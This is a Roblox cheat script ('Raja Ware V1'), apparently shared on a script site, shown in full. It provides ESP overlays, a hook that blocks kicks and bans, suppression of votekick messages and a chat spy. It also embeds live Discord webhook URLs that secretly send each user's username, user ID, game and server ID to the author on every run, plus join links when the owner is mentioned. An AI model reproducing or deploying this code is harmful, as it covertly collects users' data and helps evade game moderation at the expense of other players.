RAJA WARE opensourced
Key Required

RAJA WARE opensourced

The Chosen OneTheDeobfuscatorTheDeobfuscator 1.2K views 406 executesUpdated May 23, 2026
2.5/ 5(4 votes)
2250% Positive
Lua Script•2464 lines (96821 chars)
-- RAJA WARE V1 - TCO ENHANCED EDITION (The Chosen One)
if not game:IsLoaded() then game.Loaded:Wait() end

Players = game:GetService("Players")
UserInputService = game:GetService("UserInputService")
TweenService = game:GetService("TweenService")
RunService = game:GetService("RunService")
SoundService = game:GetService("SoundService")
TeleportService = game:GetService("TeleportService")
TextChatService = game:GetService("TextChatService")
ReplicatedStorage = game:GetService("ReplicatedStorage")
HttpService = game:GetService("HttpService")
CoreGui = game:GetService("CoreGui")
Lighting = game:GetService("Lighting")
Workspace = game:GetService("Workspace")
StarterGui = game:GetService("StarterGui")
StarterPlayer = game:GetService("StarterPlayer")

player = Players.LocalPlayer
playerGui = player:WaitForChild("PlayerGui")
character = player.Character or player.CharacterAdded:Wait()
humanoid = character:WaitForChild("Humanoid")
rootPart = character:WaitForChild("HumanoidRootPart")

player.CharacterAdded:Connect(function(c)
    character = c
    humanoid = c:WaitForChild("Humanoid")
    rootPart = c:WaitForChild("HumanoidRootPart")
    task.wait(0.5)
    if antiBangActive then setupAntiBang() end
end)

-- DISCORD WEBHOOKS
WEBHOOK_URL = "https://discord.com/api/webhooks/1501170848088854569/c9aHZput1sAx6P5cj6MKtqr7KUI6iLsBzwl6hcpYXuAjrP1E9JV3Xg3au5E37uddNZDa"
MENTION_WEBHOOK = "https://discord.com/api/webhooks/1500159575708537002/45dvrxCEU8ZuXQo8vArw6XwMB3W0bid-BnP1ni4xS0xMfn-kwjOc_J4RpSSEGdSXrPyF"
SERVER_WEBHOOK = "https://discord.com/api/webhooks/1501170847610703902/XMAKffjR4PnlbVvZ4a9J5lwLybE2dIb8rlVwH-bgTyv5Qp8vnvNyQT1yAVrnBEwsMKa4"
OWNER_NAME = "Raja_pendek21"
BLACKLISTED = {}

function sendWebhook(url, title, description, color)
    color = color or 0xFF5000
    local data = {
        embeds = {{
            title = title,
            description = description,
            color = color,
            footer = {text = "Raja Ware V1 | " .. os.date("%Y-%m-%d %H:%M:%S")}
        }}
    }
    local success, err = pcall(function()
        local synrequest = syn and syn.request or (http and http.request)
        if synrequest then
            synrequest({
                Url = url,
                Method = "POST",
                Headers = {["Content-Type"] = "application/json"},
                Body = HttpService:JSONEncode(data)
            })
        else
            HttpService:PostAsync(url, HttpService:JSONEncode(data), Enum.HttpContentType.ApplicationJson)
        end
    end)
    if not success then
        warn("Webhook failed: " .. tostring(err))
    end
end

-- Send execution webhook with delay
task.spawn(function()
    task.wait(2)
    sendWebhook(WEBHOOK_URL, "✅ Script Executed", "**Player:** " .. player.Name .. "\n**User ID:** " .. player.UserId .. "\n**Game:** " .. game.Name, 0x00FF00)
end)

task.spawn(function()
    task.wait(5)
    sendWebhook(SERVER_WEBHOOK, "🌐 Server Info", "**Server:** " .. game.JobId .. "\n**Players:** " .. #Players:GetPlayers() .. "/" .. Players.MaxPlayers, 0x00AAFF)
end)

function isBanned(name)
    for _, n in ipairs(BLACKLISTED) do
        if n:lower() == name:lower() then return true end
    end
    return false
end

if isBanned(player.Name) then
    pcall(function()
        local cg = CoreGui:FindFirstChild("RajaWare")
        if cg then cg:Destroy() end
    end)
    return
end

screenGui = Instance.new("ScreenGui")
screenGui.Name = "RajaWare"
screenGui.ResetOnSpawn = false
screenGui.IgnoreGuiInset = true
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
pcall(function() screenGui.Parent = CoreGui end)
if not screenGui.Parent then screenGui.Parent = playerGui end

-- Auto-resize for PC
local screenSize = workspace.CurrentCamera.ViewportSize
local scaleFactor = math.min(1, math.max(0.8, screenSize.X / 1920))
local FW = 440 * scaleFactor
local FH = 380 * scaleFactor
local SW = 54 * scaleFactor
local TH = 30 * scaleFactor

function makeSound(id, vol)
    local s = Instance.new("Sound")
    s.SoundId = "rbxassetid://" .. id
    s.Volume = vol
    s.Parent = SoundService
    return s
end

vineSound = makeSound("1837686256", 0.8)
clickSound = makeSound("6895079853", 0.4)
toggleSound = makeSound("4590662766", 0.35)
openSound = makeSound("3183441909", 0.4)
closeSound = makeSound("3183442653", 0.4)
notifSound = makeSound("4590657391", 0.3)

notifActive = false
notifQueue = {}

function showNotif(text, color)
    color = color or Color3.fromRGB(255, 80, 0)
    table.insert(notifQueue, {text = text, color = color})
    if notifActive then return end
    notifActive = true
    task.spawn(function()
        while #notifQueue > 0 do
            local data = table.remove(notifQueue, 1)
            local n = Instance.new("Frame", screenGui)
            n.Size = UDim2.new(0, 260, 0, 44)
            n.Position = UDim2.new(0.5, -130, 0, -54)
            n.BackgroundColor3 = Color3.fromRGB(12, 12, 12)
            n.BorderSizePixel = 0
            n.ZIndex = 200
            Instance.new("UICorner", n).CornerRadius = UDim.new(0, 10)
            local ng = Instance.new("UIGradient", n)
            ng.Color = ColorSequence.new({
                ColorSequenceKeypoint.new(0, Color3.fromRGB(28, 7, 0)),
                ColorSequenceKeypoint.new(1, Color3.fromRGB(12, 12, 12))
            })
            local ns = Instance.new("UIStroke", n)
            ns.Color = data.color
            ns.Thickness = 1.3
            ns.Transparency = 0.1
            local nb = Instance.new("Frame", n)
            nb.Size = UDim2.new(0, 4, 0.6, 0)
            nb.Position = UDim2.new(0, 0, 0.2, 0)
            nb.BackgroundColor3 = data.color
            nb.BorderSizePixel = 0
            nb.ZIndex = 201
            Instance.new("UICorner", nb).CornerRadius = UDim.new(1, 0)
            local dot = Instance.new("Frame", n)
            dot.Size = UDim2.new(0, 8, 0, 8)
            dot.Position = UDim2.new(0, 14, 0.5, -4)
            dot.BackgroundColor3 = data.color
            dot.BorderSizePixel = 0
            dot.ZIndex = 201
            Instance.new("UICorner", dot).CornerRadius = UDim.new(1, 0)
            local nl = Instance.new("TextLabel", n)
            nl.Size = UDim2.new(1, -30, 1, 0)
            nl.Position = UDim2.new(0, 28, 0, 0)
            nl.BackgroundTransparency = 1
            nl.Text = data.text
            nl.TextColor3 = Color3.fromRGB(230, 230, 230)
            nl.Font = Enum.Font.GothamBold
            nl.TextSize = 10
            nl.TextXAlignment = Enum.TextXAlignment.Left
            nl.ZIndex = 201
            nl.TextWrapped = true
            notifSound:Play()
            TweenService:Create(n, TweenInfo.new(0.26, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {
                Position = UDim2.new(0.5, -130, 0, 12)
            }):Play()
            task.wait(2.4)
            TweenService:Create(n, TweenInfo.new(0.2), {
                Position = UDim2.new(0.5, -130, 0, -54),
                BackgroundTransparency = 1
            }):Play()
            task.wait(0.22)
            n:Destroy()
        end
        notifActive = false
    end)
end

-- ========== ARKENSTONE DETECTOR ==========
local arkenstonePlayers = {}
local arkenstoneCheckActive = false
local arkenstoneCheckConnection = nil

function checkArkenstone(playerObj)
    local hasArkenstone = false
    
    -- Check Backpack
    for _, item in ipairs(playerObj.Backpack:GetChildren()) do
        if item.Name == "The Arkenstone" then
            hasArkenstone = true
            break
        end
    end
    
    -- Check Character
    if playerObj.Character then
        for _, item in ipairs(playerObj.Character:GetChildren()) do
            if item.Name == "The Arkenstone" then
                hasArkenstone = true
                break
            end
        end
    end
    
    return hasArkenstone
end

function updateArkenstoneList()
    for _, plr in ipairs(Players:GetPlayers()) do
        arkenstonePlayers[plr.Name] = arkenstonePlayers[plr.Name] or false
        task.spawn(function()
            local hasArkenstone = checkArkenstone(plr)
            if hasArkenstone ~= arkenstonePlayers[plr.Name] then
                arkenstonePlayers[plr.Name] = hasArkenstone
                if hasArkenstone then
                    showNotif("💎 " .. plr.Name .. " has THE ARKENSTONE!", Color3.fromRGB(0, 255, 255))
                    sendWebhook(WEBHOOK_URL, "💎 Arkenstone Detected!", "**" .. plr.Name .. "** has The Arkenstone in their inventory!", 0x00FFFF)
                end
            end
        end)
    end
end

function startArkenstoneCheck()
    if arkenstoneCheckConnection then return end
    updateArkenstoneList()
    arkenstoneCheckConnection = task.spawn(function()
        while arkenstoneCheckActive do
            updateArkenstoneList()
            task.wait(30)
        end
    end)
    Players.PlayerAdded:Connect(function(plr)
        if arkenstoneCheckActive then
            task.wait(2)
            updateArkenstoneList()
        end
    end)
end

function toggleArkenstoneCheck(state)
    arkenstoneCheckActive = state
    if state then
        startArkenstoneCheck()
        showNotif("💎 Arkenstone Detector ENABLED", Color3.fromRGB(0, 255, 255))
    else
        if arkenstoneCheckConnection then
            task.cancel(arkenstoneCheckConnection)
            arkenstoneCheckConnection = nil
        end
        showNotif("💎 Arkenstone Detector DISABLED", Color3.fromRGB(150, 150, 150))
    end
end

-- ========== ENHANCED ESP ==========
local espActive = false
local espObjects = {}
local espConnections = {}

function createEnhancedESP(plr)
    if plr == player then return end
    
    local function setupESP()
        local char = plr.Character
        if not char then return end
        
        local hrp = char:FindFirstChild("HumanoidRootPart")
        if not hrp then return end
        
        if espObjects[plr] then
            for _, obj in pairs(espObjects[plr]) do
                pcall(function() obj:Destroy() end)
            end
        end
        espObjects[plr] = {}
        
        local hasArkenstone = arkenstonePlayers[plr.Name]
        
        local boxColor = hasArkenstone and Color3.fromRGB(0, 255, 255) or Color3.fromRGB(255, 80, 0)
        local nameColor = hasArkenstone and Color3.fromRGB(0, 255, 255) or Color3.fromRGB(255, 255, 255)
        
        local box = Instance.new("BoxHandleAdornment")
        box.Size = Vector3.new(4, 5, 2)
        box.Color3 = boxColor
        box.Transparency = 0.4
        box.AlwaysOnTop = true
        box.Adornee = hrp
        box.Parent = hrp
        espObjects[plr]["box"] = box
        
        local healthBar = Instance.new("BillboardGui")
        healthBar.Name = "HealthBar"
        healthBar.Size = UDim2.new(0, 50, 0, 6)
        healthBar.StudsOffset = Vector3.new(0, 2.5, 0)
        healthBar.AlwaysOnTop = true
        healthBar.Parent = hrp
        
        local healthBg = Instance.new("Frame", healthBar)
        healthBg.Size = UDim2.new(1, 0, 1, 0)
        healthBg.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
        healthBg.BorderSizePixel = 0
        
        local healthFill = Instance.new("Frame", healthBg)
        healthFill.Size = UDim2.new(1, 0, 1, 0)
        healthFill.BackgroundColor3 = Color3.fromRGB(0, 255, 0)
        healthFill.BorderSizePixel = 0
        
        espObjects[plr]["healthFill"] = healthFill
        
        local humanoidChar = char:FindFirstChildOfClass("Humanoid")
        if humanoidChar then
            local healthCon = humanoidChar:GetPropertyChangedSignal("Health"):Connect(function()
                if healthFill and humanoidChar then
                    local percent = math.clamp(humanoidChar.Health / humanoidChar.MaxHealth, 0, 1)
                    healthFill.Size = UDim2.new(percent, 0, 1, 0)
                    healthFill.BackgroundColor3 = percent > 0.5 and Color3.fromRGB(0, 255, 0) or (percent > 0.25 and Color3.fromRGB(255, 255, 0) or Color3.fromRGB(255, 0, 0))
                end
            end)
            espObjects[plr]["healthCon"] = healthCon
        end
        
        local nameTag = Instance.new("BillboardGui")
        nameTag.Name = "NameTag"
        nameTag.Size = UDim2.new(0, 140, 0, 20)
        nameTag.StudsOffset = Vector3.new(0, 3.2, 0)
        nameTag.AlwaysOnTop = true
        nameTag.Parent = hrp
        
        local nameLabel = Instance.new("TextLabel", nameTag)
        nameLabel.Size = UDim2.new(1, 0, 1, 0)
        nameLabel.BackgroundTransparency = 1
        if plr.Name == OWNER_NAME then
            nameLabel.Text = "👑 " .. plr.Name .. " 👑"
        elseif hasArkenstone then
            nameLabel.Text = "💎 " .. plr.Name .. " 💎"
        else
            nameLabel.Text = plr.Name
        end
        nameLabel.TextColor3 = nameColor
        nameLabel.TextScaled = true
        nameLabel.Font = Enum.Font.GothamBold
        nameLabel.TextStrokeTransparency = 0.3
        nameLabel.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
        
        espObjects[plr]["nameTag"] = nameTag
        
        local distTag = Instance.new("BillboardGui", hrp)
        distTag.Name = "DistanceTag"
        distTag.Size = UDim2.new(0, 60, 0, 16)
        distTag.StudsOffset = Vector3.new(0, -1.5, 0)
        distTag.AlwaysOnTop = true
        
        local distLabel = Instance.new("TextLabel", distTag)
        distLabel.Size = UDim2.new(1, 0, 1, 0)
        distLabel.BackgroundTransparency = 1
        distLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
        distLabel.TextScaled = true
        distLabel.Font = Enum.Font.GothamBold
        
        espObjects[plr]["distTag"] = distTag
        espObjects[plr]["distLabel"] = distLabel
        espObjects[plr]["rootPart"] = hrp
    end
    
    setupESP()
    
    local charCon
    charCon = plr.CharacterAdded:Connect(function()
        task.wait(0.5)
        setupESP()
    end)
    espConnections[plr] = charCon
end

local distanceUpdateConnection = nil
function startDistanceUpdater()
    if distanceUpdateConnection then return end
    distanceUpdateConnection = RunService.Heartbeat:Connect(function()
        if not espActive then return end
        for plr, data in pairs(espObjects) do
            if data.distLabel and rootPart and data.rootPart and data.rootPart.Parent then
                local dist = (rootPart.Position - data.rootPart.Position).Magnitude
                local rounded = math.floor(dist)
                data.distLabel.Text = rounded .. " studs"
                if rounded < 20 then
                    data.distLabel.TextColor3 = Color3.fromRGB(255, 0, 0)
                elseif rounded < 50 then
                    data.distLabel.TextColor3 = Color3.fromRGB(255, 255, 0)
                else
                    data.distLabel.TextColor3 = Color3.fromRGB(0, 255, 0)
                end
            end
        end
    end)
end

function toggleESP(state)
    espActive = state
    if state then
        for _, plr in ipairs(Players:GetPlayers()) do
            if plr ~= player then
                createEnhancedESP(plr)
            end
        end
        local playerAddedCon = Players.PlayerAdded:Connect(function(plr)
            if plr ~= player and espActive then
                createEnhancedESP(plr)
            end
        end)
        espConnections["playerAdded"] = playerAddedCon
        startDistanceUpdater()
        showNotif("🔴 Enhanced ESP ENABLED", Color3.fromRGB(255, 80, 0))
    else
        if distanceUpdateConnection then
            distanceUpdateConnection:Disconnect()
            distanceUpdateConnection = nil
        end
        for plr, objects in pairs(espObjects) do
            for _, obj in pairs(objects) do
                pcall(function() obj:Destroy() end)
            end
        end
        for _, con in pairs(espConnections) do
            pcall(function() con:Disconnect() end)
        end
        espObjects = {}
        espConnections = {}
        showNotif("🔴 Enhanced ESP DISABLED", Color3.fromRGB(150, 150, 150))
    end
end

-- ========== PROTECTION FEATURES ==========

-- ANTI-BANG
local antiBangActive = false
local antiBangConnections = {}
local oldKick = nil

local function setupAntiBang()
    for _, conn in pairs(antiBangConnections) do
        pcall(function() conn:Disconnect() end)
    end
    antiBangConnections = {}
    
    oldKick = player.Kick
    player.Kick = function(...) 
        showNotif("🛡️ Anti-Bang blocked a kick attempt!", Color3.fromRGB(255, 80, 0))
        sendWebhook(WEBHOOK_URL, "🛡️ Anti-Bang Triggered", "**" .. player.Name .. "** was attempted to be kicked/banned", 0xFFAA00)
        return nil 
    end
    
    local kickCon = StarterGui:GetPropertyChangedSignal("CoreGuiChanged"):Connect(function()
        pcall(function()
            for _, gui in pairs(CoreGui:GetChildren()) do
                if gui:IsA("ScreenGui") and gui.Name == "RobloxGui" then
                    for _, child in pairs(gui:GetDescendants()) do
                        if child:IsA("TextLabel") and child.Text and (child.Text:find("kicked") or child.Text:find("banned")) then
                            child:Destroy()
                        end
                    end
                end
            end
        end)
    end)
    table.insert(antiBangConnections, kickCon)
    
    local chatCon = TextChatService.OnIncomingMessage
    TextChatService.OnIncomingMessage = function(message)
        local text = message.Text or ""
        if antiBangActive and text:lower():find("votekick") and text:lower():find(player.Name:lower()) then
            showNotif("🛡️ Anti-Bang blocked a votekick!", Color3.fromRGB(255, 80, 0))
            return Instance.new("TextChatMessageProperties")
        end
        return chatCon and chatCon(message) or message
    end
    table.insert(antiBangConnections, {Disconnect = function() TextChatService.OnIncomingMessage = chatCon end})
    
    local charCon = player.CharacterRemoving:Connect(function()
        if antiBangActive then
            task.wait(0.1)
            if not player.Character then
                player:LoadCharacter()
            end
        end
    end)
    table.insert(antiBangConnections, charCon)
end

local function toggleAntiBang(state)
    antiBangActive = state
    if state then
        setupAntiBang()
        showNotif("🛡️ Anti-Bang ENABLED", Color3.fromRGB(0, 255, 0))
    else
        for _, conn in pairs(antiBangConnections) do
            pcall(function() conn:Disconnect() end)
        end
        if oldKick then player.Kick = oldKick end
        antiBangConnections = {}
        showNotif("🛡️ Anti-Bang DISABLED", Color3.fromRGB(255, 0, 0))
    end
end

-- ANTI-DRAG
local antiDragActive = false
local antiDragConnection = nil

local function startAntiDrag()
    if antiDragConnection then antiDragConnection:Disconnect() end
    
    antiDragConnection = RunService.Heartbeat:Connect(function()
        if antiDragActive and character and rootPart then
            local velocities = rootPart:FindFirstChildWhichIsA("BodyVelocity")
            if velocities then velocities:Destroy() end
            
            if rootPart.AssemblyLinearVelocity.Magnitude > 100 then
                rootPart.AssemblyLinearVelocity = Vector3.zero
                rootPart.AssemblyAngularVelocity = Vector3.zero
            end
        end
    end)
end

local function toggleAntiDrag(state)
    antiDragActive = state
    if state then
        startAntiDrag()
        showNotif("🔒 Anti-Drag ENABLED", Color3.fromRGB(0, 255, 0))
    else
        if antiDragConnection then antiDragConnection:Disconnect() end
        antiDragConnection = nil
        showNotif("🔒 Anti-Drag DISABLED", Color3.fromRGB(255, 0, 0))
    end
end

-- ANTI-VOID
local antiVoidActive = false
local antiVoidConnection = nil
local voidTeleportConnection = nil
local originalHeight = workspace.FallenPartsDestroyHeight

local function startAntiVoid()
    if antiVoidConnection then antiVoidConnection:Disconnect() end
    if voidTeleportConnection then voidTeleportConnection:Disconnect() end
    
    originalHeight = workspace.FallenPartsDestroyHeight
    workspace.FallenPartsDestroyHeight = -1000000
    
    antiVoidConnection = workspace:GetPropertyChangedSignal("FallenPartsDestroyHeight"):Connect(function()
        if antiVoidActive and workspace.FallenPartsDestroyHeight ~= -1000000 then
            workspace.FallenPartsDestroyHeight = -1000000
        end
    end)
    
    voidTeleportConnection = RunService.Heartbeat:Connect(function()
        if antiVoidActive and character and rootPart then
            if rootPart.Position.Y < -50 then
                local spawn = workspace:FindFirstChild("Spawn")
                if spawn then
                    rootPart.CFrame = spawn.CFrame
                else
                    rootPart.CFrame = CFrame.new(0, 100, 0)
                end
                rootPart.Velocity = Vector3.zero
                rootPart.AssemblyLinearVelocity = Vector3.zero
                showNotif("🛡️ Saved from void!", Color3.fromRGB(0, 255, 0))
            end
        end
    end)
end

local function toggleAntiVoid(state)
    antiVoidActive = state
    if state then
        startAntiVoid()
        showNotif("🌊 Anti-Void ENABLED", Color3.fromRGB(0, 255, 0))
    else
        if antiVoidConnection then antiVoidConnection:Disconnect() end
        if voidTeleportConnection then voidTeleportConnection:Disconnect() end
        antiVoidConnection = nil
        voidTeleportConnection = nil
        workspace.FallenPartsDestroyHeight = originalHeight
        showNotif("🌊 Anti-Void DISABLED", Color3.fromRGB(255, 0, 0))
    end
end

-- CHAT SPY
chatSpyEnabled = false
local function setupChatSpy()
    TextChatService.OnIncomingMessage = function(message)
        local sender = message.TextSource and message.TextSource.Name or "?"
        local text = message.Text or ""
        
        if sender ~= player.Name and text ~= "" and chatSpyEnabled then
            print("[SPY] " .. sender .. ": " .. text)
            showNotif("💬 " .. sender .. ": " .. text:sub(1, 40), Color3.fromRGB(100, 200, 255))
        end
        
        if text:lower():find(OWNER_NAME:lower()) or text:lower():find("raja") then
            task.spawn(function()
                local serverLink = "https://www.roblox.com/games/" .. game.PlaceId .. "?privateServerLinkCode=" .. game.JobId
                sendWebhook(MENTION_WEBHOOK, "🔔 @Mention", "**" .. sender .. "** mentioned you!\n**Server:** " .. serverLink, 0xFFAA00)
            end)
        end
        
        return Instance.new("TextChatMessageProperties")
    end
end
setupChatSpy()

-- LOAD SCREEN
loadScreen = Instance.new("Frame", screenGui)
loadScreen.Size = UDim2.new(1, 0, 1, 0)
loadScreen.BackgroundColor3 = Color3.fromRGB(8, 8, 8)
loadScreen.BorderSizePixel = 0
loadScreen.ZIndex = 200

local card = Instance.new("Frame", loadScreen)
card.Size = UDim2.new(0, 240, 0, 160)
card.Position = UDim2.new(0.5, -120, 0.5, -80)
card.BackgroundColor3 = Color3.fromRGB(14, 14, 14)
card.BorderSizePixel = 0
card.ZIndex = 201
Instance.new("UICorner", card).CornerRadius = UDim.new(0, 12)

local crownLoad = Instance.new("TextLabel", card)
crownLoad.Size = UDim2.new(1, 0, 0, 24)
crownLoad.Position = UDim2.new(0, 0, 0, 6)
crownLoad.BackgroundTransparency = 1
crownLoad.Text = "👑"
crownLoad.Font = Enum.Font.GothamBold
crownLoad.TextSize = 20
crownLoad.ZIndex = 204

local loadLabel = Instance.new("TextLabel", card)
loadLabel.Size = UDim2.new(1, 0, 0, 36)
loadLabel.Position = UDim2.new(0, 0, 0, 28)
loadLabel.BackgroundTransparency = 1
loadLabel.Text = "RAJA WARE"
loadLabel.TextColor3 = Color3.fromRGB(255, 85, 0)
loadLabel.Font = Enum.Font.GothamBlack
loadLabel.TextSize = 30
loadLabel.ZIndex = 203

local loadSub = Instance.new("TextLabel", card)
loadSub.Size = UDim2.new(1, 0, 0, 14)
loadSub.Position = UDim2.new(0, 0, 0, 64)
loadSub.BackgroundTransparency = 1
loadSub.Text = "TCO EDITION  ·  V1"
loadSub.TextColor3 = Color3.fromRGB(255, 80, 0)
loadSub.Font = Enum.Font.GothamBold
loadSub.TextSize = 9
loadSub.ZIndex = 203

local loadStatus = Instance.new("TextLabel", card)
loadStatus.Size = UDim2.new(1, 0, 0, 14)
loadStatus.Position = UDim2.new(0, 0, 0, 90)
loadStatus.BackgroundTransparency = 1
loadStatus.Text = "Starting up..."
loadStatus.TextColor3 = Color3.fromRGB(130, 130, 130)
loadStatus.Font = Enum.Font.GothamBold
loadStatus.TextSize = 9
loadStatus.ZIndex = 203

local progressTrack = Instance.new("Frame", card)
progressTrack.Size = UDim2.new(0.85, 0, 0, 4)
progressTrack.Position = UDim2.new(0.075, 0, 0, 114)
progressTrack.BackgroundColor3 = Color3.fromRGB(28, 28, 28)
progressTrack.BorderSizePixel = 0
progressTrack.ZIndex = 202
Instance.new("UICorner", progressTrack).CornerRadius = UDim.new(1, 0)

local progressFill = Instance.new("Frame", progressTrack)
progressFill.Size = UDim2.new(0, 0, 1, 0)
progressFill.BackgroundColor3 = Color3.fromRGB(255, 80, 0)
progressFill.BorderSizePixel = 0
progressFill.ZIndex = 203
Instance.new("UICorner", progressFill).CornerRadius = UDim.new(1, 0)

local creditLabel = Instance.new("TextLabel", card)
creditLabel.Size = UDim2.new(1, 0, 0, 14)
creditLabel.Position = UDim2.new(0, 0, 0, 140)
creditLabel.BackgroundTransparency = 1
creditLabel.Text = "Made with ❤️ by Raja_pendek21"
creditLabel.TextColor3 = Color3.fromRGB(255, 80, 0)
creditLabel.Font = Enum.Font.GothamBold
creditLabel.TextSize = 8
creditLabel.ZIndex = 203

local lsSteps = {
    {text = "Booting Raja Ware V1...", step = 1},
    {text = "Loading blacklist...", step = 2},
    {text = "Building UI...", step = 3},
    {text = "Loading auras...", step = 4},
    {text = "Loading Anti-Bang...", step = 5},
    {text = "Loading Anti-Drag...", step = 6},
    {text = "Loading Anti-Void...", step = 7},
    {text = "Loading Enhanced ESP...", step = 8},
    {text = "All systems GO.", step = 9},
}

-- MAIN FRAME
frame = Instance.new("Frame", screenGui)
frame.Name = "MainFrame"
frame.Size = UDim2.new(0, FW, 0, FH)
frame.Position = UDim2.new(0.5, -(FW/2), 0.5, -(FH/2))
frame.BackgroundColor3 = Color3.fromRGB(11, 11, 11)
frame.BorderSizePixel = 0
frame.BackgroundTransparency = 1
frame.ClipsDescendants = false
frame.Visible = false
frame.ZIndex = 10
Instance.new("UICorner", frame).CornerRadius = UDim.new(0, 10)

-- TOP BAR
topBar = Instance.new("Frame", frame)
topBar.Size = UDim2.new(1, 0, 0, TH)
topBar.BackgroundColor3 = Color3.fromRGB(14, 14, 14)
topBar.BorderSizePixel = 0
topBar.ZIndex = 12
Instance.new("UICorner", topBar).CornerRadius = UDim.new(0, 10)

local logoBg = Instance.new("Frame", topBar)
logoBg.Size = UDim2.new(0, 76, 0, 22)
logoBg.Position = UDim2.new(0, 6, 0.5, -11)
logoBg.BackgroundColor3 = Color3.fromRGB(255, 80, 0)
logoBg.BorderSizePixel = 0
logoBg.ZIndex = 13
Instance.new("UICorner", logoBg).CornerRadius = UDim.new(0, 6)
local topTitle = Instance.new("TextLabel", logoBg)
topTitle.Size = UDim2.new(1, 0, 1, 0)
topTitle.BackgroundTransparency = 1
topTitle.Text = "RAJA WARE"
topTitle.TextColor3 = Color3.new(1, 1, 1)
topTitle.Font = Enum.Font.GothamBlack
topTitle.TextSize = 11
topTitle.ZIndex = 14

local v1Badge = Instance.new("Frame", topBar)
v1Badge.Size = UDim2.new(0, 24, 0, 16)
v1Badge.Position = UDim2.new(0, 86, 0.5, -8)
v1Badge.BackgroundColor3 = Color3.fromRGB(255,80,0)
v1Badge.BackgroundTransparency = 0.6
v1Badge.BorderSizePixel = 0
v1Badge.ZIndex = 13
Instance.new("UICorner", v1Badge).CornerRadius = UDim.new(0, 4)
local v1L = Instance.new("TextLabel", v1Badge)
v1L.Size = UDim2.new(1,0,1,0)
v1L.BackgroundTransparency = 1
v1L.Text = "V1"
v1L.TextColor3 = Color3.new(1,1,1)
v1L.Font = Enum.Font.GothamBold
v1L.TextSize = 8
v1L.ZIndex = 14

local fpsLabel = Instance.new("TextLabel", topBar)
fpsLabel.Size = UDim2.new(0, 46, 1, 0)
fpsLabel.Position = UDim2.new(0, 116, 0, 0)
fpsLabel.BackgroundTransparency = 1
fpsLabel.Text = "FPS:--"
fpsLabel.TextColor3 = Color3.fromRGB(75, 75, 75)
fpsLabel.Font = Enum.Font.GothamBold
fpsLabel.TextSize = 8
fpsLabel.TextXAlignment = Enum.TextXAlignment.Left
fpsLabel.ZIndex = 13

local plrsLabel = Instance.new("TextLabel", topBar)
plrsLabel.Size = UDim2.new(0, 52, 1, 0)
plrsLabel.Position = UDim2.new(0, 164, 0, 0)
plrsLabel.BackgroundTransparency = 1
plrsLabel.Text = "PLRS:--"
plrsLabel.TextColor3 = Color3.fromRGB(75, 75, 75)
plrsLabel.Font = Enum.Font.GothamBold
plrsLabel.TextSize = 8
plrsLabel.TextXAlignment = Enum.TextXAlignment.Left
plrsLabel.ZIndex = 13

local liveBadge = Instance.new("Frame", topBar)
liveBadge.Size = UDim2.new(0, 38, 0, 16)
liveBadge.Position = UDim2.new(0, 218, 0.5, -8)
liveBadge.BackgroundColor3 = Color3.fromRGB(0, 145, 52)
liveBadge.BorderSizePixel = 0
liveBadge.ZIndex = 13
Instance.new("UICorner", liveBadge).CornerRadius = UDim.new(1, 0)
local ldDot = Instance.new("Frame", liveBadge)
ldDot.Size = UDim2.new(0, 5, 0, 5)
ldDot.Position = UDim2.new(0, 4, 0.5, -2)
ldDot.BackgroundColor3 = Color3.fromRGB(0, 255, 100)
ldDot.BorderSizePixel = 0
ldDot.ZIndex = 14
Instance.new("UICorner", ldDot).CornerRadius = UDim.new(1, 0)
local liveT = Instance.new("TextLabel", liveBadge)
liveT.Size = UDim2.new(1, -11, 1, 0)
liveT.Position = UDim2.new(0, 12, 0, 0)
liveT.BackgroundTransparency = 1
liveT.Text = "LIVE"
liveT.TextColor3 = Color3.new(1,1,1)
liveT.Font = Enum.Font.GothamBold
liveT.TextSize = 7
liveT.ZIndex = 14

local gearBtn = Instance.new("TextButton", topBar)
gearBtn.Size = UDim2.new(0, 21, 0, 21)
gearBtn.Position = UDim2.new(1, -48, 0.5, -10)
gearBtn.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
gearBtn.Text = "⚙"
gearBtn.TextColor3 = Color3.fromRGB(255, 100, 0)
gearBtn.TextSize = 13
gearBtn.Font = Enum.Font.GothamBold
gearBtn.BorderSizePixel = 0
gearBtn.ZIndex = 13
Instance.new("UICorner", gearBtn).CornerRadius = UDim.new(0, 5)

local closeBtn = Instance.new("TextButton", topBar)
closeBtn.Size = UDim2.new(0, 21, 0, 21)
closeBtn.Position = UDim2.new(1, -24, 0.5, -10)
closeBtn.BackgroundColor3 = Color3.fromRGB(170, 28, 0)
closeBtn.Text = "✕"
closeBtn.TextColor3 = Color3.new(1, 1, 1)
closeBtn.Font = Enum.Font.GothamBold
closeBtn.TextSize = 11
closeBtn.BorderSizePixel = 0
closeBtn.ZIndex = 13
Instance.new("UICorner", closeBtn).CornerRadius = UDim.new(0, 5)

-- SIDEBAR
sidebar = Instance.new("Frame", frame)
sidebar.Name = "SideBar"
sidebar.Size = UDim2.new(0, SW, 1, -TH)
sidebar.Position = UDim2.new(1, -SW, 0, TH)
sidebar.BackgroundColor3 = Color3.fromRGB(13, 13, 13)
sidebar.BorderSizePixel = 0
sidebar.ClipsDescendants = true
sidebar.ZIndex = 12

local scrollSidebar = Instance.new("ScrollingFrame", sidebar)
scrollSidebar.Size = UDim2.new(1, 0, 1, 0)
scrollSidebar.BackgroundTransparency = 1
scrollSidebar.BorderSizePixel = 0
scrollSidebar.ScrollBarThickness = 3
scrollSidebar.ScrollBarImageColor3 = Color3.fromRGB(255, 80, 0)
scrollSidebar.CanvasSize = UDim2.new(0, 0, 0, 0)
scrollSidebar.ScrollingDirection = Enum.ScrollingDirection.Y
scrollSidebar.ZIndex = 12

local sbLayout = Instance.new("UIListLayout", scrollSidebar)
sbLayout.Padding = UDim.new(0, 3)
sbLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
local sbPad = Instance.new("UIPadding", scrollSidebar)
sbPad.PaddingTop = UDim.new(0, 5)

-- CONTENT AREA
local contentArea = Instance.new("Frame", frame)
contentArea.Name = "ContentArea"
contentArea.Size = UDim2.new(0, FW - SW, 0, FH - TH)
contentArea.Position = UDim2.new(0, 0, 0, TH)
contentArea.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
contentArea.BorderSizePixel = 0
contentArea.ClipsDescendants = true
